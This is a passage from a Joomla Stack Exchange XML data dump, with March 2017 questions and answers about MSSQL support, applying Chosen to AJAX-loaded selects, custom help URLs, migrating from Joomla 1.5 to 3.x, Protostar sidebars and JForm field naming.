using MSSQL as Database" Tags="|database|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19332" PostTypeId="2" ParentId="19331" CreationDate="2017-03-13T12:14:34.247" Score="0" Body="&lt;p&gt;it's true! &#xA;before the installation go to joomla_root\installation\sql&#xA;there is only 3 folders (mysql - postgersql - sqlazure) and MSSQL is not included&lt;/p&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2017-03-13T12:14:34.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19333" PostTypeId="2" ParentId="19328" CreationDate="2017-03-13T12:31:02.760" Score="1" Body="&lt;p&gt;try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;        $app             = JFactory::getApplication();&#xA;        $doc             = JFactory::getDocument();&#xA;        $this-&amp;gt;language  = $doc-&amp;gt;language;&#xA;        $lng=explode('-',$this-&amp;gt;language);&#xA;        print(strtoupper($lng[0]));&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2017-03-13T12:31:02.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19334" PostTypeId="1" AcceptedAnswerId="19335" CreationDate="2017-03-13T12:36:29.890" Score="3" ViewCount="837" Body="&lt;p&gt;I am working on a site (custom component and template) where I want some links to have their content shown in a popup. The popup itself seems to work fine, but I noticed the select boxes aren't affected by formbehavior.chosen, when called with ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am applying chosen with &lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&lt;/code&gt; in my component.php on the site part. AJAX content is loaded with format=raw, so I thought it might work if I put this in the actual component template file, but this didn't work. I thought their might be a function to reapply chosen to all it's set selectors, but haven't found one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the way to go to make my select menus chosen style on ajax load?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The components component.php file looks something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// Require helper file&#xA;JLoader::register('ComponentHelper', JPATH_COMPONENT . '/helpers/component.php');&#xA;&#xA;// Add Stylesheets&#xA;JHtml::stylesheet('com_component/style.css', array(), true);&#xA;&#xA;// Add Scripts&#xA;JHtml::_('bootstrap.framework');&#xA;JHtml::script('com_component/script.js', false, true);&#xA;&#xA;// Add chosen&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;// Get an instance of the controller&#xA;$controller = JControllerLegacy::getInstance('Component');&#xA;&#xA;// Perform the Request task&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$controller-&amp;gt;execute($input-&amp;gt;get('task'));&#xA;&#xA;// Redirect if set by the controller&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The popup is called with the templates template.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    $('a.popup')&#xA;        .click(function() {&#xA;            event.preventDefault();&#xA;&#xA;            var url = $(this).attr('href') + '&amp;amp;format=raw';&#xA;&#xA;            $('#popupDialogue .popup-content').html('');&#xA;            $('#popup')&#xA;                .addClass('active')&#xA;                .addClass('loading');&#xA;&#xA;            $.get( urlGet, function( data ) {&#xA;                $('#popupDialogue .popup-content').html(data);&#xA;                $('#popup')&#xA;                    .removeClass('loading');&#xA;            });&#xA;        });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3680" LastActivityDate="2017-03-13T18:04:46.657" Title="Chosen on AJAX content" Tags="|templates|joomla-3.6|custom-component|ajax|jhtml|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19335" PostTypeId="2" ParentId="19334" CreationDate="2017-03-13T18:04:46.657" Score="1" Body="&lt;p&gt;Change below code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.get( urlGet, function( data ) {&#xA;  $('#popupDialogue .popup-content').html(data);&#xA;  $('#popup')&#xA;    .removeClass('loading');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.get( urlGet, function( data ) {&#xA;  $('#popupDialogue .popup-content').html(data);&#xA;  $('#popup')&#xA;    .removeClass('loading');&#xA;  $('#popupDialogue .popup-content select').chosen();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-03-13T18:04:46.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19336" PostTypeId="1" AcceptedAnswerId="19340" CreationDate="2017-03-13T20:02:13.253" Score="2" ViewCount="102" Body="&lt;p&gt;Is it possible to change the 'help' button url inside a plugin (that I am developing) to get the documentation from my site?&#xA;I managed to add not replace, with &lt;code&gt;JToolbarHelper::help()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2018-02-17T13:51:29.653" Title="Change 'Help' button url inside plugin" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19338" PostTypeId="2" ParentId="19322" CreationDate="2017-03-13T23:16:35.217" Score="3" Body="&lt;p&gt;Depending on the purpose, there can be some advantages in using a CMS compared to a static HTML website and this is why &lt;a href=&quot;https://twitter.com/joomla/status/840281973960658948&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla has been downloaded over 80 million times&lt;/a&gt; as at March 2017.&lt;/p&gt;&#xA;&lt;h1&gt;Updating Content&lt;/h1&gt;&#xA;&lt;p&gt;Content is not stored directly in HTML files in Joomla but is usually stored in tables in the Joomla database. You could use a tool like phpMyAdmin or similar to edit content directly but it is usually much easier to use the Joomla Administration tools such as the Article Manager and the Module Manager.&lt;/p&gt;&#xA;&lt;h1&gt;Updating Code&lt;/h1&gt;&#xA;&lt;p&gt;Directly editing the Joomla core code is usually a mistake because subsequent Joomla and third party extension updates can overwrite your changes and Joomla and third party extension updates need to be done regularly to keep Joomla websites secure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Overrides&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The recommended way to use your own code in Joomla is to &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;create an override&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Styling Override&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Similarly, and depending on the template you are using, you can &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;use a custom CSS file&lt;/a&gt; or &lt;a href=&quot;https://joomla.stackexchange.com/a/14212/120&quot;&gt;a third party extension&lt;/a&gt; to override the styling.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Creating your own Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Other ways to use your own code are to &lt;a href=&quot;https://docs.joomla.org/Category:Extension_development&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a component, module, plugin or template&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Inserting Code&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can install a third party extension such as the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; which enables PHP and other code to be inserted into an article or Custom HTML module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Static HTML Website&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another option (but maybe not possible for this particular client) is to &lt;a href=&quot;https://joomla.stackexchange.com/a/16423/120&quot;&gt;convert the site to a static HTML website&lt;/a&gt; and then edit the code directly. Of course, going down this route can't easily be reversed and you lose the advantages of a CMS.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-03-13T23:16:35.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19339" PostTypeId="2" ParentId="19331" CreationDate="2017-03-13T23:21:00.820" Score="1" Body="&lt;p&gt;I am guessing the advice is old, outdated, incomplete...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems more relevant to your needs:&#xA;&lt;a href=&quot;http://php.net/manual/en/sqlsrv.requirements.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/sqlsrv.requirements.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two points that leap out of text as not matching your description are that you do not actually mention whether you are actually running Microsoft SQL Server 2012 Native Client and that the advice suggests version 3.0 of the extension. &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=20098&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft actually has 3.2 of it&lt;/a&gt; , which is probably what you want. The version 2.0 is still recommended for php compiled with vc6 which is what the advice you followed was probably about. And no, if you just installed newest version of WAMP it is unlikely to have php compiled with vc6. Also you must have either 64 bit or 32 bit versions not a mix of the two, which might trip you if just following advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the link I added above is &lt;strong&gt;also&lt;/strong&gt; outdated. If you look at the &lt;a href=&quot;https://docs.microsoft.com/en-us/sql/connect/php/system-requirements-for-the-php-sql-driver&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft requirements page&lt;/a&gt; you'll see that Microsoft SQL Server 2012 Native Client is only for version 3.0 and 3.2 actually requires Microsoft ODBC Driver 11 for SQL Server...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck! Hope that the more up-to-date links help!&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2017-03-13T23:21:00.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19340" PostTypeId="2" ParentId="19336" CreationDate="2017-03-14T00:50:38.847" Score="2" Body="&lt;p&gt;I found a way of doing it.&#xA;In plugin manifest file add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;help url=&quot;HELP_URL&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, in plugin language file define:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HELP_URL = &quot;http://example.com&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I have the help button, inside my plugin, with my custom url. Hope this could be usefull to someone to.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-03-14T00:50:38.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19341" PostTypeId="1" CreationDate="2017-03-14T06:55:21.763" Score="1" ViewCount="487" Body="&lt;p&gt;I've a Joomla 3.6 project which is built on mysql db. I want to know how can I migrate to mssql db? Maybe someone could do step by step guide and suggest some tool for migration? &lt;/p&gt;&#xA;" OwnerUserId="9764" LastActivityDate="2018-01-06T16:27:07.940" Title="Migration from MySQL to MSSQL database" Tags="|joomla-3.x|database|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19342" PostTypeId="2" ParentId="16001" CreationDate="2017-03-14T07:00:51.633" Score="0" Body="&lt;p&gt;Go to template-&gt;&lt;strong&gt;templateDetails.xml&lt;/strong&gt; comment out or remove position offcanvas from  .&#xA;Now go to root directory then &lt;strong&gt;features&lt;/strong&gt; and edit file &lt;strong&gt;menu.php&lt;/strong&gt; and comment/remove the following lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;/em&gt;&#xA;save and exit.&#xA;Now reload your pages.&lt;/p&gt;&#xA;" OwnerUserId="9814" LastActivityDate="2017-03-14T07:00:51.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19343" PostTypeId="2" ParentId="19270" CreationDate="2017-03-14T09:12:12.993" Score="0" Body="&lt;p&gt;I solved This by Restoring views_tables, it seems somehow the table went corrupt.&lt;/p&gt;&#xA;" OwnerUserId="9773" LastActivityDate="2017-03-14T09:12:12.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19344" PostTypeId="1" AcceptedAnswerId="20755" CreationDate="2017-03-14T09:37:04.657" Score="2" ViewCount="472" Body="&lt;p&gt;I have a component with multiple retailers, based on data from an API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each retailer has a &quot;read more&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what I need, is to give each retailer it's own alias, without having to add an alias / menu item for each retailer in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I click on a specific &quot;read more&quot; link, the normal (non-sef) url is something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mysite.com?index.php&amp;amp;option=com_wherecanisave&amp;amp;retailerID=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysite.com?index.php&amp;amp;option=com_wherecanisave&amp;amp;retailerID=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the target page, I do a call to the API again, and look up the retailer's name.  Then I want the url to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/joes-car-wash&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mysite.com/joes-car-wash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How cab I achieve this without having to add aliases to the backend or database?&lt;/p&gt;&#xA;" OwnerUserId="9817" LastActivityDate="2017-05-10T19:25:39.383" Title="Dynamic urls (aliases) based on variable" Tags="|sef|alias|non-sef-url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19345" PostTypeId="1" CreationDate="2017-03-14T09:43:57.197" Score="2" ViewCount="5325" Body="&lt;p&gt;I want to migrate my Joomla 1.5 website to latest version. I try to upgrade using j2xml, but not working. My website containing more than 500 articles and 1500 users. I am using community builder for user registration and for payment 2co checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website: &lt;a href=&quot;http://policyjobs.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://policyjobs.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one please suggest how to upgrade to latest version. I am ready to purchase plugin also. Please suggest best plugin which can upgrade my website without errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Chakradhar.&lt;/p&gt;&#xA;" OwnerUserId="9818" LastActivityDate="2017-03-23T09:06:45.453" Title="Upgrade joomla 1.5 to 3.x" Tags="|migration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19346" PostTypeId="1" AcceptedAnswerId="19349" CreationDate="2017-03-14T10:07:46.420" Score="3" ViewCount="153" Body="&lt;p&gt;How can I edit the &quot;Protostar&quot; template in order to have two sidebar instead of only one on the right? You can also edit the width of each sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to edit the index.php file of the template but it is better to ask first.&lt;/p&gt;&#xA;" OwnerUserId="9736" LastActivityDate="2017-03-14T11:46:33.163" Title="edit the template to have two sidebar instead of one" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19347" PostTypeId="1" AcceptedAnswerId="19348" CreationDate="2017-03-14T10:21:59.463" Score="2" ViewCount="68" Body="&lt;p&gt;I am very new to Joomla. I normally just do all my styles with CSS, but Joomla is a little more frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set a min and max height on an image? Also is there a way to adjust the margin and padding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aglcounseling.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the site. I am working with the company logo in the header. It is dynamic and changes size as the window changes size. When the window is 768px wide, the text is so small, it is unreadable. shrink the window to 767px, the logo gets way too big.&lt;/p&gt;&#xA;" OwnerUserId="9808" LastActivityDate="2017-03-14T10:33:43.433" Title="Min and max height on image" Tags="|styling|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19348" PostTypeId="2" ParentId="19347" CreationDate="2017-03-14T10:33:43.433" Score="2" Body="&lt;p&gt;You will firstly need to create a &lt;code&gt;custom.scss&lt;/code&gt; file is it doesn't exist. For more information on this, have a look at the Gantry 5 documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.gantry.org/gantry5/tutorials/adding-a-custom-style-sheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/tutorials/adding-a-custom-style-sheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have you custom SCSS file, apply your changes and it will automatically be recompiled.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-03-14T10:33:43.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19349" PostTypeId="2" ParentId="19346" CreationDate="2017-03-14T11:46:33.163" Score="1" Body="&lt;p&gt;&lt;strong&gt;Module Positions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see all the module positions, set Extensions -&gt; Templates -&gt; Options -&gt; Preview Module Positions to &quot;Enabled&quot; and browse to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.yourwebsitename.com/index.php?tp=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable the left hand sidebar in ProtoStar, publish a module to &lt;code&gt;Left [position-8]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable the right hand sidebar in ProtoStar, publish a module to &lt;code&gt;Right [position-7]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sidebar Widths&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you can't specify sidebar widths via the ProtoStar options in Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom CSS file at /templates/protostar/css/user.css with the following code (or similar) could be used to override the sidebar and main content widths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (min-width: 768px) {&#xA;  #sidebar.span3 {width: 20%;}  /* Left Hand Sidebar */&#xA;  #content.main {width: 60%;}   /* Main Content */&#xA;  #aside.span3 {width: 20%;}    /* Right Hand Sidebar */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-03-14T11:46:33.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19350" PostTypeId="2" ParentId="19285" CreationDate="2017-03-14T12:11:48.187" Score="1" Body="&lt;p&gt;There is no need to workaround. I &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/form.php#L103&quot; rel=&quot;nofollow noreferrer&quot;&gt;checked the code&lt;/a&gt;, there is a control option which you can give by the instantiation of JForm. If it is set, then it will be the root of the field names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like the following with vanilla joomla (I tested it with my own wrapper classes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.tooltip');&#xA;&#xA;$fileName = 'myform.xml';&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$isPost = $input-&amp;gt;getMethod() == 'POST';&#xA;if ($isPost)&#xA;    $data= $input-&amp;gt;post-&amp;gt;getArray();&#xA;?&amp;gt;&amp;lt;form action=&quot;&amp;lt;?php echo JUri::getInstance(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php&#xA;    for ($i = 0; $i &amp;lt; 13; ++$i) {&#xA;        $randomName = uniqid($fileName . '.');&#xA;        $form = JForm::getInstance(&#xA;            $randomName, &#xA;            JPATH_COMPONENT . '/my/templates/' . $fileName, &#xA;            array('control' =&amp;gt; $i)&#xA;        );&#xA;        if ($isPost) {&#xA;            $filtered = $form-&amp;gt;filter($data[$i]);&#xA;            foreach ($filtered as $fieldset =&amp;gt; $fields)&#xA;                foreach ($fields as $field =&amp;gt; $value)&#xA;                    $form-&amp;gt;setValue($field, $fieldset, $value);&#xA;        }&#xA;        foreach (array_keys($form-&amp;gt;getFieldsets()) as $fieldset)&#xA;            echo $form-&amp;gt;renderFieldset($fieldset);&#xA;    }&#xA;    echo JHtml::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;send&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-14T12:11:48.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19351" PostTypeId="2" ParentId="19345" CreationDate="2017-03-14T12:37:55.883" Score="1" Body="&lt;p&gt;&lt;strong&gt;Migration Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a few tools that help migrate websites from Joomla 1.5 to 3.x and you can find most of them in the Joomla Extensions Directory at: &lt;a href=&quot;https://extensions.joomla.org/tags/joomla-migration/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/joomla-migration/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are free tools such as &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/migration-a-conversion/data-import-a-export/j2xml/&quot; rel=&quot;nofollow noreferrer&quot;&gt;J2XML&lt;/a&gt; which is excellent at transferring articles and some other items but the paid tools can usually do a bit more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SP Upgrade&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all of the tools help with third party extensions but &lt;a href=&quot;https://extensions.joomla.org/extension/sp-upgrade/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Upgrade&lt;/a&gt; has been successful for me on around 40 or so Joomla 1.5 to 3.x migrations including migration of some third party extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Upgrade apparently can help migrate Community Builder although I can't vouch for this personally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Upgrade also helps with migrating users, sections, categories, articles, contacts, web links, news feeds, banners, menus, modules and images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Upgrade is not free but will save you quite a bit of time even on a simple Joomla migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SP Upgrade Migration Procedure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;https://www.kainotomo.com/products/sp-upgrade/documentation/182-the-whole-process-step-by-step&quot; rel=&quot;nofollow noreferrer&quot;&gt;official instructions&lt;/a&gt; but this is what works for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Pre Migration Tasks&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On Joomla 1.5: Empty Menu and Article Trash otherwise trashed articles are migrated too.&lt;/li&gt;&#xA;&lt;li&gt;On Joomla 1.5: Temporarily rename Categories under a Section with the same name as this confuses SP Upgrade.&lt;/li&gt;&#xA;&lt;li&gt;On Joomla 3.x: Install SP Upgrade component on your 3.x site just like any other component.&lt;/li&gt;&#xA;&lt;li&gt;On Joomla 3.x: Check in Global Configuration -&gt; Server -&gt; Database Settings that the database is set to MySQLi&lt;/li&gt;&#xA;&lt;li&gt;On Joomla 3.x: Delete any users, menu items, categories, articles, modules that might conflict with items being migrated.&lt;/li&gt;&#xA;&lt;li&gt;On Joomla 3.x: Empty menu, article, category and module trash by setting status to &quot;Trashed&quot; and click on &quot;Empty Trash&quot;. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Migration Options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set and choose appropriate configuration, database and FTP settings at Components -&gt; SP Upgrade -&gt; Options.    &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Migration&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Choose what to transfer under the &quot;Core Transfer&quot; tab such as users, sections, categories, articles and so on.&lt;/li&gt;&#xA;&lt;li&gt;Click on &quot;Transfer&quot; to start.&lt;/li&gt;&#xA;&lt;li&gt;This can take a while depending on the size of your website. Progress is periodically updated.&lt;/li&gt;&#xA;&lt;li&gt;When migration is completed, save a copy of the log to your local machine for reference.&lt;/li&gt;&#xA;&lt;li&gt;If the migration times out, just go back and repeat the process. It will begin from where it left off.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Supported Third Party Extension Transfer&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In general, the process will be as follows but read and follow any instructions for the specific extension.&lt;/li&gt;&#xA;&lt;li&gt;Migrate core content before migrating extensions as core content may be a per-requisite in some cases.&lt;/li&gt;&#xA;&lt;li&gt;Repeat the migration process for each supported extension you wish to migrate.&lt;/li&gt;&#xA;&lt;li&gt;Before starting, upgrade to the latest version of the extension on the source website.&lt;/li&gt;&#xA;&lt;li&gt;Before starting, install the latest version of the extension on the target website.&lt;/li&gt;&#xA;&lt;li&gt;Select the extension you wish to migrate under the &quot;Extensions Transfer&quot; tab and click on &quot;Transfer&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Post Migration&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save the Log somewhere before you uninstall SP Upgrade! &lt;/li&gt;&#xA;&lt;li&gt;The Super Administrator account from the Joomla 1.5 account is migrated but with &quot;v15&quot; appended to the user name and email address.&lt;/li&gt;&#xA;&lt;li&gt;Log in with this old account, delete the Joomla 3.x Super Administrator account and rename the Joomla 1.5 account back to original. This preferred method retains the original user ID so that articles and Kunena posts etc. are associated with the correct administrator.&lt;/li&gt;&#xA;&lt;li&gt;The original Joomla 3.x /images folder may be backed up to /images_bkp_[date-time] and this folder can probably be deleted.&lt;/li&gt;&#xA;&lt;li&gt;Fix module positions to suit the Joomla 3.x template.&lt;/li&gt;&#xA;&lt;li&gt;In Menu Manager, select all menus and choose the &quot;Rebuild&quot; option.&lt;/li&gt;&#xA;&lt;li&gt;Test everything on the Joomla 3.x website to make sure it is working as expected.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-03-14T12:46:57.027" LastActivityDate="2017-03-14T12:46:57.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19352" PostTypeId="1" CreationDate="2017-03-14T12:53:46.083" Score="3" ViewCount="43" Body="&lt;p&gt;I decided to start new project, so I did clear installation (used MSSQL SERVER as database). Everything was fine and really fast. Front-end page doesn't have any errors or weird effects, but administrator side has many similar errors [warnings]. What is wrong and how can I fix them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors: (someone who can, please edit img tags in)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://img.exs.lv/e/z/ezeliitis/Untitled_3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://img.exs.lv/e/z/ezeliitis/Untitled_3.png&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://img.exs.lv/e/z/ezeliitis/Untitled_2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://img.exs.lv/e/z/ezeliitis/Untitled_2.png&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did re-install everything, but that didn't fix it. Also, I think it might be related with MSSQL server, but I've to use it - there's no way around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? :)&lt;/p&gt;&#xA;" OwnerUserId="9764" LastActivityDate="2018-05-16T08:52:53.857" Title="Weird post-installation effects on administrator panel - JOOMLA 3.6" Tags="|joomla-3.x|installation|" AnswerCount="0" CommentCount="4" ClosedDate="2018-06-18T13:05:17.930" ContentLicense="CC BY-SA 3.0" />
